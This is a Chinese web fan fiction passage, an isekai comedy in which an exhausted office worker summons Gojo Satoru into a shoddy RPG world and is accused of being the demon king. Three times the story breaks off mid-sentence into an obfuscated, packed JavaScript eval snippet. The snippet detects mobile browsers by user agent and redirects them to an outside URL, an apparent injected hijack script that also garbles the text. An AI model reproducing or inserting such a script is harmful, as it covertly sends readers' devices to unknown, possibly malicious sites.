《[咒回]请选择你的〇〇》 1. 勇者悟 社畜睁开眼,发现世界一片黑暗。 她丝毫不慌,非常自然地接受了现状,大脑飞快思考—— 怎么说?难道……她……终于猝死了?! 她就知道!这个狗屎工作简直就是在燃烧她的寿命。 社畜苦中作乐地扯了扯嘴角,为自己举起双手,小小欢呼了一声。 “耶~” 死了就死了吧,不管怎么说,总算可以摆脱这个狗屎工作和疯批上司,人生也算是圆满落幕。 * 社畜原本并不叫社畜。 这很合理,毕竟在万恶的奴隶制被废除之后,没有人生来就是社畜。 但是在这个社会中,一旦成为社畜之后,时间、精力就会没有边际地被工作占据,所有的身份认同最后只退化为一个—— 社畜。 不管社畜原本叫什么,拥有什么样的人生,现在她只恍惚地记得自己是个社畜,在光荣地加完了最后一班之后,终于躺在床上,平静地迎来了人生的终点。 她乐观地想,不算美好的结局,但是和继续做这个狗屎工作和安抚巨婴NPD上司的人生比起来,也不算糟糕。 * 在一片虚无的黑暗里,社畜的身体平躺悬浮在空无一物的空中。 这就是每个人最终的归宿吗?死了之后没有什么天堂地狱也不会去电影院,只是最纯粹的黑暗与平静。 她满足地把双手交叠在小腹上方,闭眼摆出一个安详的姿势。 可是她并不能如愿地安眠,因为她感到有强烈的光源亮起,极具穿透力地透过眼皮,让她的眼前一片发红。 ——是来自天堂的圣光吗?随便亮一亮意思一下就算了吧,赶紧关掉,她还想继续睡会儿。 社畜用更大的力气紧闭眼睛,但这不知从何而来的光芒却仿佛要穿透一切,逼得她最终还是不得不无奈地把眼睛睁开。 这哪是来自天堂的圣光?这根本就是过度加班看屏幕的报应吧?! 在她面前的只是一个金光闪闪的对话框。 明明只有文字,却因为煽动的语气和每句话结尾的感叹号而显得很吵闹。 看起来非常像什么游戏公告的对话框里写着—— 【回流活动重磅上线!老二次元回归福利礼包,点击即送声优代表角色!更有专属副本等你开启!】 【请选择你的勇者】 - 中村悠一 - 杉田智和 - 伊濑茉莉野 什么鬼。 社畜盯着这行字,半天没说话。 所以……她是被拉来参加这个什么回流活动了?? 可是这游戏也太抠门了吧!如同所有的游戏公告一样,用最热切煽动的语气给着蚊子腿不如的奖励。 社畜痛苦地闭上了双眼。 然而不管她闭眼装死多久,这个对话框就固执地立在那里。 “这是要我选什么?” 社畜认命地睁开了眼,不抱希望地向着空无一物的黑暗问道。 无人应答。 “所以其实我并不是死了,参加完这个回流活动之后,我还得回去上班是吗?” 依然无人应答。 这是什么恶意系统?没有客服也就算了,竟然还不给退出选项? 对话框的边缘和每个选项都闪烁着光芒,仿佛这样社畜就会忍不住伸手点下去。 但社畜已经是一个成熟的女人。 她精通从语焉不详、仿佛阅读题加上奥数题一样的活动公告中计算出拿满奖励的最优解,也能在眼花缭乱金光闪闪的充值礼包中计算出真正实惠的满足需求的选项。 区区视觉特效和心理暗示,绝对无法引诱一个经历过职场风霜的女人。 她的时间珍贵,出卖人格与尊严挣得的每一分钱也珍贵。 可是……二次元…… 是好久远的回忆…… * 社畜或许曾经是一个二次元。 因为“二次元”并不是“社畜”这样界限明确的身份——很难说一个人看过多少番、玩过多少游戏、追过几部漫画就可以成为一个资深程度不受任何人质疑的二次元。 但社畜或许曾经是一个二次元,因为她也追过番看过漫画玩过游戏,甚至是非常痴迷、没日没夜、直至忘我的程度。 只是如同大部分社畜一样,她在生活的重压之下逐渐失去了发展这些爱好的时间和精力。 想不到她曾经的二次元身份竟然真的得到了认可,并且还能入选参加这所谓的“老二次元回流活动”。 社畜突然有些感慨,原来在她认同二次元这个身份之前,二次元就已经认同了她。 * 【请选择你的勇者】 - 中村悠一 - 杉田智和 - 伊濑茉莉野 不管社畜追忆了多久往昔,进行了多久的自我反思和定位,眼前的对话框都固执地一动不动,就像找不到退出键的弹窗广告,更可恶的是连一个提示她还需要忍受多久的倒计时也没有。 似乎她只能永远地躺下去,或者起来做点什么。 社畜摆烂地躺了不知道多久。 身体一旦闲下来,大脑就活跃起来了。 狂飙发散的思想开始不受控制地滑向一天天地写着设计方案,一遍遍地被领导回绝,一次次提出辞呈却被轻蔑地无视等痛苦经历时,她意识到自己还是得做点什么。 她又仔细地看了一眼公告。 【回流活动重磅上线!老二次元回归福利礼包,点击即送声优代表角色!更有专属副本等你开启!】 【请选择你的勇者】 - 中村悠一 - 杉田智和 - 伊濑茉莉野 * 工作之后,社畜的阅读能力得到了极大的提升,她可以从领导那仿佛没学过说话的沉默表达中理解出他真正的需求,也可以敏锐地抓住对话框里的重点。 简单来说,似乎选择这些声优的名字,就可以召唤来他们的代表角色。 本以为自己已经脱宅变成现充很久了,但社畜发现自己还能依稀记得一点声优的名字和作品。 比如现在,她的手指迟疑地悬停在对话框之上,目光忍不住又瞟了一眼题干。 是选择……她的【勇者】诶…… 难道老天也看不下去她的悲惨社畜生活,准备派一个可靠的人来拯救她了吗? 可靠的人……可靠的人…… 社畜的手指下意识地停在了【中村悠一】的上方。 如果她没记错的话,中村悠一配音过布加拉提吧…… 布加拉提……可以说是完美的男人了…… 工作很努力……很有责任感……领导力强,对于弱小的人也很有同情心。 哪怕是拯救世界这种艰巨又不知从何入手的任务,他也能拆解出一二三四五条具体的小目标吧。 据说世界上只有两种人,一种是喜欢布加拉提的,另一种是不知道布加拉提的。 如果“勇者”是布加拉提,不管她的社畜人生,还是这破破烂烂的世界,应该都能被拯救了吧。 而且……如果连布加拉提都不能成为她的勇士,大概也没有别人能帮到她了…… 虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156179|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也有可能来的是别的角色…… 但是……都顶着中村悠一的声线了,大概率都是老公级别的人物吧…… 总而言之,怎么看起来都比下面那个什么【杉田智和】要靠谱。 社畜在工作中得到的重要经验之一,就是尽管有时候不理解自己该做什么或者该怎么做,总得先开始着手做一些事情,制造出一些可以汇报的成果。 反正就先选一个吧。 这么想着,她坚定地把手指点在了【中村悠一】的上面。 出来吧!布加拉提! * 对话框消失了。 就像所有召唤勇者的流程一样,地面俗套地开始冒起了光芒。 社畜激动地盯着光芒,期待和布加拉提的会面。 快出现吧!布加拉提! 光芒散去,出现在她面前的是—— 一个异常高大的白发青年! 这是一个戴着墨镜,穿着一身黑色制服的陌生白毛。 虽然高大,但是身形依然能看出几分少年人的单薄,却没有一点蓬勃的气息。 是一个站姿懒散,插着口袋,看起来吊儿郎当的teenager白毛! 在装酷是人生第一要义的年纪,即使到了这个一片漆黑的空间,也不肯摘下墨镜的白毛! 不管怎么说!这个人都绝对不是布加拉提!! 社畜一脸懵逼。 这谁?? 她压抑下内心的惊涛骇浪,警觉地打量着面前这个看上去既不正经也不靠谱的人。 白发、墨镜、制服…… 她疯狂回忆着中村悠一配音过的角色。 白头发?难道是《妖狐×仆SS》中的御狐神双炽吗?! 不对! 这奇怪的发型,不会是《排球少年》中的黑尾铁朗吧?!只不过刚刚把头发染成了白色?! 可是不管怎么说气质都不一样吧! 莫非是《银魂》中坂田金时在染发cos坂田银时? 她都召唤了什么啊?!! 正当她崩溃的时候,眼前的teenager只是随便却又不普通地站在那里,墨镜遮盖住了他的神情。 在看见社畜露出吃惊的表情后,他才回过神来似的,不紧不慢地用食指和拇指拉下了一点墨镜。 墨镜滑到了高挺的鼻梁中段,露出了他蓝色的眼睛。 他弯下腰瞪大了眼盯着社畜,仔仔细细地看了一眼她的脸,然后古怪地扬起唇角,露出一个兴奋的笑容。 “咦,社畜小姐?” 社畜:“……” 哇,好听,呼吸沉厚,带来声带磁性的颤动,听起来会是显而易见的年轻帅哥,确实像是中村悠一的声音。 社畜一瞬间有点沉醉。 但下一秒社畜就发现,他从墨镜上方透出来的眼睛,是动人心魄的苍蓝色。像有着无数个切面的钻石,折射出深浅不一、璀璨的蓝。 这无由地勾起社畜心中一股熟悉又陌生的战栗。 大概是这颜色过于像无际的天空,所以让人熟悉,但出现在人的瞳孔中却显得十分古怪吧。 青年还在好奇地打量着四周,嘴里说着些“哇,果然还是一点咒力都没有”,“好在这次没有封印我”一类难以理解的话。 可社畜只是往后退了一大步,在眼前青年像猫一样难掩好奇的目光中,猛地埋头在自己身上一顿崩溃地狂嗅。 为什么一见面就知道她是社畜啊啊啊啊啊?! “啊啊啊啊啊啊啊啊怎么回事?难道我身上的班味已经浓到这么明显了吗??这种事情不要啊啊啊啊啊啊!!!” 2. 勇者悟 “所以,你的意思是说,老子只是你召唤出来拯救世界的一个动漫人物?你之前从来、完全、彻底、可以百分之一千肯定地说,没有见过我?” 一番简略的交谈之后,对面这个自称为五条悟的年轻人一脸“你在开玩笑吗?”,歪歪斜斜地微微侧目看她。 所以说五条悟到底是谁啊?感觉完全没听说过好吗! 而且为什么要这么问啊,总不能是之前见过,却被她刻意忘掉了吧。 顶着中村悠一的声音,说话的语调却很欠揍,尤其是那种满是怀疑难以置信的语气,和夸张的重音,简直让社畜觉得自己被当做了白痴。 可恶,为什么这种不良少年配上中村悠一的声线也毫不违和呢。 声优果然都是怪物。 社畜捂住脸,声音闷闷地从指缝中透出来:“是的。虽然我并不知道你出自什么动漫……不过我也确实很久没追新番了……但……大概是的吧……” 五条悟发出一声不屑一顾的轻笑。 社畜的头埋得更低了一点。 她心想,啊……为什么来的不是你,布加拉提…… 果然,真实世界和动漫是不一样的,虽然客观来说,确实是还没上班(排除社畜),也没忙着找实习(排除大学生)的初高中生,才有时间去承担起拯救世界这种工作。 但是仔细一想,现实中以自我为中心的青少年真的会随随便便就拥有金子一般的正义感和责任感吗?感觉他们毫无疑问都是随心所欲主义者。 更别说是要拯救她这种身上沾满班味,毫无价值,不过是社会的一颗小小螺丝钉的社畜了。 “喂,”头顶传来的声音明显更加不爽,“说起来,刚刚不就是叫了你一声社畜,为什么会摆出一副受了这么大打击的样子?” 社畜装作失意地用手捂住嘴,趁机在手的遮挡下,狠狠磨了两下牙齿。 ——太没有礼貌了!这个只是敷衍地尊称她一声“社畜小姐”的teenager! 但是人应当公正客观地审视他人,譬如青少年的任性自我或许让人生厌,但是未来可能还要靠新一代的teenager来整顿职场、恶心领导…… 想到这里,社畜迅速软化态度。 兼之社畜已经被常年的非人工作打磨得没有了一点脾气,所以她只是弱弱地开口:“是啊……一身班味,已经顶着一张更年期脸的我,怎么敢……” 五条悟忍住吐槽的欲望看了她一眼。 社畜看起来相当年轻,和上次见面时的样子比起来毫无变化,顶着一张刚毕业的脸,头发还是非常青春跳脱的红色,随意垂落至肩,在发尾胡乱地翘着。 不知道在什么宽松的公司工作,反正一定是对发色没有要求的那种。 现在这幅样子倒不像是准备好了要去上班,而像是还在床上睡觉就猝不及防地被传送了过来,简单的白色t恤配上宽松的居家裤,看起来非常舒适随意。 或者说不定就是在家里工作的类型。 不过脸色嘛……确实不太好。 还没等她说完这段自怨自艾的话,五条悟一副早就料到她想说什么的样子,开口打断她:“所以,社畜小姐有名字吗?” 干嘛要告诉你! 现在的社畜上班都用花名的知不知道!这就是在暗示你,一旦踏入公司,你就只剩下一个被异化的工具人格,完全沦为公司的牛马! 想到资本对打工人层出不穷的控制手段,社畜就火大。 给自己取花名为社畜,是她对这个不把人当人社会系统的幽默反讽。 她重重地冷哼了一声,并没有回答五条悟的问题。 “那我就继续叫你社畜小姐了。” 没有得到社畜的回应,也不知道她突然就开始义愤填膺些什么,五条悟也不在意,已经预料到了她会是这个样子,就这么自顾自地做了决定。 社畜从指缝里迅速瞥了五条悟一眼,等五条悟刚刚挑起眉毛表示困惑的时候,她又火速低下了头,通情达理地说:“知道……自己其实是动漫人物……大概不好受吧……” ——话题转换得有点快啊。 五条悟懒洋洋地耸了耸肩,一副任她怎么说,“老子天下第一”的自我认知都坚固得无可动摇的样子。 社畜搜肠刮肚地说着好话和他套近乎:“不过再怎么说,做一个动漫人物也比当一个平平无奇的社畜要好,哦对了,你几岁了?还在读书吗?既然接下来要一起过副本,我们还是互相了解一下比较好吧,不如先跟我讲讲你——” 话音未落,黑暗的环境倏地变化。 一眨眼,他们就身处一个破烂旅馆之中。 木头地板,木头柱子,木头横梁,简陋的房间里几乎空无一物,只是敷衍地摆放着两张木床和一些木柜,还有一些意味不明的高大陶罐。 简直像是什么会出现在古早像素风格RPG游戏里的模板旅馆。 于是社畜宛如求职面试盘问的话被迫戛然而止,取而代之的事一声高八度的惊呼:“嘎?!我们穿越到异世界了吗??” 五条悟看着陶罐,像是想起了什么似的,往旁边走了两步,然后莫名其妙就踹了一脚床旁边的陶罐。 陶罐晃了晃,发出沉闷又绵延的空响。 社畜被五条悟和陶罐吸引了目光,忍不住幻想——这种陶罐该不会是RPG游戏里面那种,砸烂了会爆金币的吧? 不过大概只是她的想象力过于丰富,听声音,里面好像什么东西都没有,这个人为什么会突然去踹一脚啊? 她怀疑地看向五条悟,刚一对上目光,她就又忍不住挪开视线。 她担心她清澈的眼神已经告知了五条悟自己心中的奇思妙想以及对他的吐槽。 气氛有点尴尬。 在一片尴尬的沉默中,五条悟却突然开口:“我啊,现在在东京都立咒术高等专门学校读书,怎么说呢,课上得马马虎虎,作业——呃,交了也只是为了不被老师骂,学校的活动嘛……要是有趣的话就凑个热闹……虽然偶尔也有不得不去参加的内容……” 他插着兜,没头没尾地讲了这么一段话,声音拖得长长的,语气随意,眼睛也不看着社畜,目光飘忽,明显并不是很情愿说这些。 但社畜听得出他是在回应自己之前的问题。 让社畜惊恐的是,这个白发少年居然在面对这等离奇事件的时候,都能若无其事地把对话继续下去,情绪稳定得像是一个不倒翁。 简直就好像眼前不管发生了什么都能自然地接受,或者已经经历过了不少类似的事情一样。 等下,他刚刚说了他在东京都立咒术高等专门学校读书。 他说的是——“咒术”?! “咒术……是超能力吗?” 社畜迟疑地开口。 “可以理解为‘超能力’哦~但是咒力从本质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156180|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上而言,其实是人的负面情绪。” 他扭过头来,流光溢彩的苍天之瞳又从墨镜上面探了出来,定定地看着她。 看见这美丽得不真实的瞳孔,社畜心脏猛地一抽,连忙侧开了头。 ——果然是很动漫的设定啊! 不愧是活在超能力世界中的动漫人物,所以才能如此自然地就接受了眼前发生的一切呢。 但是社畜也不能输啊! 不管是对付宛如从异世界穿越过来的非人类种族NPD领导,还是为了完成工作日渐增加的需要掌握的十八般武艺,或者是见人说人话见鬼说鬼话的超绝变身本领,在这个区区高专生面前也该如超能力一般厉害吧! 可不要把大人看扁了啊! 社畜忍不住抱怨:“超能力想来也不过就是个人特色的一种嘛!就像什么能认出所有的汽车品牌,吃饭吃得特别多,特别会做PPT一样……” 五条悟愣了一下,小声嘀咕了一句“果然还是这副模样”。 “不过,社畜小姐,真的对我一点印象都没有吗?我——叫——悟——哦——” 白发青年把“悟”(satoru)的每个音节念得又长又清晰,像是在耐着性子教小朋友说话。 社畜把记忆里的所有白毛都数了一遍,确信自己从来不知道有个叫做“五条悟”的角色,只能露出一个带着歉意的笑容。 哎呀呀,看来比起认识到自己是一个动漫角色,果然还是认识到自己是一个不知名的动漫角色更让青少年受打击呢。 社畜带着笑容,准备开口安慰他,再次重申自己不过是太久没关注新番了而已,说不定他现在是很热门的动漫人物呢,毕竟都是声优的代表作之一了—— 但是五条悟已经摆了摆手,随意地把墨镜摘下来丢在了床上,精致的脸上挂着有点无聊的表情,自顾自地转身走了。 白发少年的身形颀长,走得也吊儿郎当,只看背影都没个正形。 “欸?!——” 社畜发出一声困惑的惊呼。 不是吧,这就甩手走人了?! 也太不负责—— 不对,也太有勇气了!我辈楷模! 社畜对五条悟肃然起敬。 她想,果然是没有经历过社会毒打的年轻人,还拥有随时甩手不干抛下工作抽身走人的勇气,她已经从他身上看到了动摇未来职场陈规的变革之风了。 真是令人羡慕啊,加油,年轻人。 她就做不到。 社畜无奈捡起五条悟丢在床上的墨镜,试图以一种失意的姿势默默戴上,遮住自己饱含着无能和懦弱热泪的双眼。 不管是她还是这无可救药的世界,看来都得靠自己来想办法拯救了—— 社畜:? 她发现,自己戴上墨镜之后,竟然什么都看不见。 眼前的一切,瞬间变得和她的前途啊未来啊人生啊一样,漆黑一片。 五条悟一把打开这扇破破烂烂的木门,发现面前站着一个差不多只有自己一半高的白胡子老头,拦住了他的去路,不让他离开。 白胡子老头带着一副“太好了我们有救了”的表情,感恩戴德地跪下来,直接抱住五条悟的双腿,声情并茂地喊出—— “勇者大人!” “嘭”的一声。 五条悟伸出长腿,面无表情、毫不客气地一脚把他踹开,然后大力关上了门。 3. 勇者悟 “这是特制的墨镜,普通人戴上会什么也看不见的。” 社畜还沉浸在“果然我的眼前和前途都是一片漆黑啊”的人生感慨之中,听见五条悟冷淡的声音,才猛地一怔,惊讶地摘下眼镜,扭头看过去。 门口站着神情不耐烦的白发少年,懒洋洋地抱臂斜倚着门框。 只是那扇破烂的木门一震一震地“砰砰砰”作响,门后有一个肺活量惊人、中气十足的老人在大喊——“勇者大人”。 虽然隔得远了,社畜总感觉这双不似真人的蓝眼睛还是好像在荧荧地发亮,微微泛着幽光,莫名地渗人。 社畜瞳孔地震:“有人……在喊你?” 她疑惑地指了指门。 五条悟耸耸肩,毫不在意地甩出一句:“认错人了吧。” “不对啊,”社畜皱眉,开始有理有据地分析,“你不就是我刚刚召唤出来的勇者吗?他说的勇者大人,应该指的就是你吧。” “你怎么知道?什么勇者?”五条悟无辜地眨了眨眼。 他一脸坦然地反问,这幅死不承认的样子,让社畜坚信他绝对就是学校里的问题儿童。 不过她忍了——毕竟长期和问题甲方以及问题领导斗智斗勇,她的心态早已锻炼得坚不可摧。 带着磨练出来的好脾气,社畜耐心地解释道:“因为故事和游戏里不都是这样的嘛?因为出现了无法战胜的魔王或者恶龙,守护世界的女神会召唤出勇者,拯救世界。或许打败魔王之后我们就能通关出去了。” “所以……你想说你是女神?”五条悟挑眉,表情像是听见了某种不可思议的妄想,甚至还有点嫌弃。 社畜低头琢磨了一下,也得不出结论:“我也不知道诶,毕竟我还是第一次遇到这种事情。” “第一次?” 五条悟倏地站直了身体,难掩语气中的错愕。 下一秒,破烂的木门终于不堪重负,被锲而不舍的老头锤开了一个小缝。 门缝中挤出一张老脸,正要拼命钻进来,马上就要趁虚而入,五条悟却仿佛背后长了眼睛一般,又火速无情地压了回去,轻轻松松不费吹灰之力。 他只是满脸费解地盯着社畜,似乎还在思索着社畜刚刚那句话。 社畜几乎都要帮他确诊ADHD注意缺陷多动障碍了——不仅他的行为模式让人摸不着头脑,连关注点都相当随机。 “是的,我一觉醒来,世界就变得一片漆黑,然后弹出了一个对话框,让我通过选择声优的名字召唤勇者,我选了中村悠一,你就被召唤出来了,”社畜老实地解释完,好奇地望向他,“这种事情,你之前也遇到过?” “中村悠一?”五条悟皱起眉头,没有回答她的问题,反而问道,“这个人是谁啊?和我有什么关系?” 社畜耐心解释:“他是你的声优。” 五条悟听完,沉默了一秒,摊开手翻了个堪称世界名画级别的标准白眼,看起来并没把社畜的解释当回事。 一般人翻白眼会让社畜觉得对方态度恶劣有病,但在五条悟翻白眼的瞬间,社畜突然意识到——没有了那双奇谲蓝眼的震慑……这个白发青年,帅气得有些过分了。 跳过那双让社畜心情复杂的眼睛,仿佛天赐的轮廓与五官让这张脸漂亮得毫无瑕疵,但这也并非社畜关注的重点,她恍惚地体认到五条悟脸上肌肉的走势与鲜活动态,那股活人的血气感,让她感觉仿佛有嫩绿的植物新芽从破裂的古代塑像中生长出来,荒芜贫瘠中不知何时有了一线生机。 被凝视着的五条悟似乎想到了什么,因为他立刻转头看过来,锐利的目光瞬间锁定了社畜—— 还在走神的社畜被吓得一抖,不受控制地挪开视线,心虚地避免与他直视。 只听见五条悟不解地喃喃道:“奇怪,为什么会是第一次呢?……但是……如果说……这是第一次……这就可以解释了……” 社畜正疑惑间,五条悟已经抬步走近。 她感到一团高大的身影笼罩住了自己,有一只修长的手从她的手中抽走了墨镜,毫不在意地甩到一边,他带着巨大的压迫感靠近社畜,勾着手指轻轻一抬—— 社畜的脸被迫抬起,和他对视。 他的手劲大得吓人,社畜长期久坐劳累生锈的脖颈发出“咔”的一声,响得宛如开盖的易拉罐,反而把面前的青年吓了一跳。 五条悟:“……” 社畜:“……” 五条悟惊悚地松了力道,神情复杂地盯着她,像是刚见到了某种濒危动物。 还难以置信地嘟囔了一句:“这么弱吗?” 社畜无语望天,不仅是问题儿童,还是个没大没小的小屁孩! 她忍不住瞪了回去,这才注意到这家伙的睫毛是如雪的洁白,浓密地盖在冰蓝的眼眸之上,却像白云衬托下的天空——湛蓝深邃,却也显得更加冷漠无机。 被这样的目光打量着,社畜缩了缩脖子,巧舌如簧的自己消失了,仿佛又变成了刚入社会那个纯净如白纸的生涩学生,呆呆愣愣地不知道该说些什么。 ……不好意思又演起来了,她好像从来都没有过不知道该说什么的时候,她的问题向来是说得太多和想太多乱七八糟的事情。 只是这么近距离地看着她,五条悟缓慢地眨了眨眼,很是人畜无害似的。 离近了端详,社畜突然觉得这双眼睛似乎没有她想象得那么吓人。 “喂,”五条悟似乎突然心情又变得不错,他微微眯起眼,慢悠悠地开口,“既然你这次认为我是勇者——” 他的话音一顿,嘴角勾起一个耐人寻味的弧度,语气轻飘飘的:“那就让老子来拯救这个世界吧。” 说完,他却先被自己耍帅的台词给矫情到了,呲了呲牙,还小声地倒吸了一口冷气。 就像一只莫名其妙被自己吓炸毛的神经蓬松白猫。 社畜垂下眼眸,默默地想——这个世界,竟然沦落到要找个ADHD的问题青年来拯救,实在是……太可怜了。 * “太好了!” 就在这时,门口响起一声震天动地的欢呼。 没有了五条悟的抵抗,老头早就把破门锤开,却出于礼节还扶着门框等在门口,热泪盈眶地站了许久。 社畜还没来得及做出什么反应,老头马上就冲了进来,声音洪亮地大喊: “勇者要拯救世界,我们有——” “咚!” 还没冲两步,连口中欢呼的台词都还没说完,老头突然白眼一翻,脚步一僵,重重砸在了地上。 长老的手磕到了床边的陶罐,陶罐“砰”地一声砸在地上,碎裂开来,碎片中露出一堆金灿灿的钱币。 社畜:“……?” 所以这个世界的钱还真的就放在这种陶罐里啊! 但是刚刚不还是空的吗?! 五条悟饶有兴味地“哦?”了一声,不知道在想些什么。 “怎怎怎怎么了!”社畜吓得一激灵,一把推开五条悟,连滚带爬地要去看趴在地上的老头。 “别去,”五条悟懒洋洋地拦住了她,声音中听不出多少波澜,平静得像是在播天气预报,“他已经死了。” 死死死死死了?! 不是,就因为勇者答应拯救世界太激动了吗?! 社畜惊骇的目光看向五条悟,但他只是不甚在意地耸了耸肩。 ……好吧,社畜讪讪地往回缩了缩。 大概这就是主线剧情的一部分吧。 不过一个NPC而已,是她太大惊小怪了。 作为一个合格的社畜,就是要拿出连邻座的同事猝死了,自己都能第二天面不改色来上班的职业素养。 区区一个NPC,不必慌张。 然而—— 不由她觉得此事不必慌张,因为门口突然传来一阵震天响的脚步声,乌泱泱地冲进来一堆穿盔带甲的卫兵,一瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156181|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挤满了这个狭小的房间。 这群卫兵……长得一模一样。 不是说脸盲症或者不熟悉外国人长相的那种一模一样,而是——真的一模一样! 他们不但身形和装备相同,还顶着一张完全雷同的路人脸,瞪着一双无神的豆豆眼,气冲冲地看着她。 从一个资深社畜的角度看来,完全就是敷衍的复制粘贴,机械的量产流水线,或者不择手段省预算的那种! 卫兵们又向两边散开,一字排开,从门外缓缓走进来了一个颤颤巍巍的老头。 社畜定睛一看—— ??? 这不就是刚刚倒地那位吗?! 他哀嚎着悲恸地扑到了地上的尸体上,热泪盈眶:“啊!!长老大人!!” 仿佛看不见旁边碎裂的陶罐和金币一般,他猛地抬头,仇恨的目光直直瞪向社畜,指着她怒吼:“是你!万恶的魔王!杀了长老!!勇者大人!请你一定要消灭魔王!!为我们的长老复仇啊!!” 社畜:??? “等等,我是魔王??”社畜一脸懵逼。 “没错!”老头斩钉截铁。 “那你又是谁?” 难道是“长老”的双胞胎兄弟? 悲愤的老头依然尽职尽责地有问必答:“我是新手村的村长。” 社畜无语凝噎地闭紧了嘴。 这个游戏,未免也太敷衍了吧。 别说这个八百倍速没有前因也没有后果的粗糙剧情,游戏美术毫不走心,士兵复制粘贴也就算了,村长和长老也共享一张脸,而且就连这个村子,竟然也这么完全不动脑子地被叫做新手村。 她僵硬地指了指自己,难以置信地再度确认道:“你再说一遍,我是谁?” 村长毫不犹豫地回答:“杀死长老的魔王。” “不是,”社畜试图澄清这其中的误会,“那个,长老是因为过于激动猝死的,跟我没关系啊!你看啊,我旁边这位是勇者……是我把他召唤出来的……我怎么会是魔王呢……” 村长瞪大双眼,怒道:“别狡辩了,我们是RPG游戏人物,怎么会猝死呢?” 社畜:“……” 好像……挺有道理的? “勇者肯定不会是凶手,根据推理,一定是你杀了长老,你就是魔王。”村长语气笃定。 啊……她在心里痛苦地捂住了头。 这个粗糙的世界,竟然连推理逻辑都这么简单粗暴。 “也是啦,只有熬夜加班工作的社畜会猝死,哪有RPG游戏人物会猝死的。”社畜失意地垂下头,自言自语。 * “要动手吗?” 社畜听见五条悟幽幽地发问。 社畜猛地一僵,瞬间后脊一凉,感觉自己像一只待宰的羔羊。 不,她现在已经是一块躺在菜板上的死肉了。 这是要灭了她?! 她是召唤勇者的人啊!他难道不应该站在她这边吗?! 难道就为了尽快杀死魔王通关游戏回到现实世界,开始不择手段了?! 还不知道在虚拟世界死亡会有什么后果呢! 没有必要在这个时候这么有“玩游戏就是要赢”的游戏精神啊!! “不不不不你等一下!你再思考一下啊!” 社畜难以置信地抬头看向五条悟。 ——却发现五条悟是看着自己说出这句话的。 看了这么久村长和社畜之间的闹剧,这家伙现在正一脸兴致勃勃地看着她,嘴角噙着笑,但是凌冽的双眼让人想起久冻不化的远古冰川,一如既往地让人心悸,激起一阵分不清是心动还是恐惧的心跳加速。 “要动手吗?”五条悟又问了一遍,语气还带着点……期待? 白发青年带着恶劣又轻浮的笑容,像是没把这些NPC,或者甚至是没把世界上任何人当回事似的,脸上的表情愈发兴奋,露出期待战斗的眼神。 4. 勇者悟 社畜缓缓站直了身子,沉思片刻,郑重其事地点了点头。 “你说得对,我们不能坐以待毙。” 听见这句话,五条悟慢悠悠地抬起了手。 然后—— 社畜以迅雷不及掩耳之势一个猛冲,一把推开地上的村长,奋力用双手抓住长老的脚腕,高高举起了地上长老的尸体。 “吃我一记长老头槌!!!!” 伴随着社畜震耳欲聋的怒吼,她有如天上降魔主,双手攥住长老的脚腕,以自己为轴心不分敌我地四下狂甩,把硬直的长老尸体舞得虎虎生风。 “长老流星锤!!” 五条悟几乎已经摆好了手印的姿势,却就这么僵在了空中。 “长老冲击!!!” 敷衍批量生产的士兵竟然也真的被她击退,纷纷像多米诺骨牌一排排向后倒去,更显得社畜立在中央的身躯凛凛,高大威猛。 五条悟:“……” “还愣着干嘛?快跑啊!” 社畜把长老重重地往地上一杵,回头看见五条悟还愣愣地看着她,直接伸手拽过他,把长老拖在身后就夺门而出,一路狂奔。 * 这个粗糙的游戏,连村子里的NPC都没做几个。 村子里的街道空空荡荡,背后根本没有任何人追上来。 社畜一边跑一边喘气,忍不住回头看了一眼:“哈?他们真的不追了?” 就像她所说的那样,村长和卫兵仿佛完成了自己的剧情,就老老实实地原地挂机,根本没有什么后续发展。 嘛,这也很符合这个游戏的调性。 * “喂,”五条悟只是突然停下了脚步,就让社畜再也拖不动他。 “你这是在做什么?”他俯视着社畜,语气复杂得让人分不清是惊讶还是无语。 社畜喘着粗气,炫耀地举起手中半人高的长老:“厉害吧,我刚刚因为村长的话低头反思的时候,突然看见了这个。” 她指了指长老的头顶,一个半透明的物品描述框赫然弹了出来—— 【长老尸体】 稀有 0伤害(钝击) 武器动作:击倒(被武器触碰到的敌人会立刻倒地) 物品描述:打倒你的,不是生活的重压,而是心灵的悲伤 社畜感慨地小声重复了一遍物品描述:“真是发人深省啊……确实,偶尔也会觉得自己上班上到坚持不下去,然后出现了心理问题……” 然后她低头叹气:“可是心理医生的费用比我的工资昂贵多了。” 五条悟一言不发。 社畜继续翻动欣赏着手中的长老尸体,忍不住啧啧称奇,嘴角不住地上扬:“想不到在新手村就爆了这么强大的因果律武器,那我们接下来应该会很顺利了。” 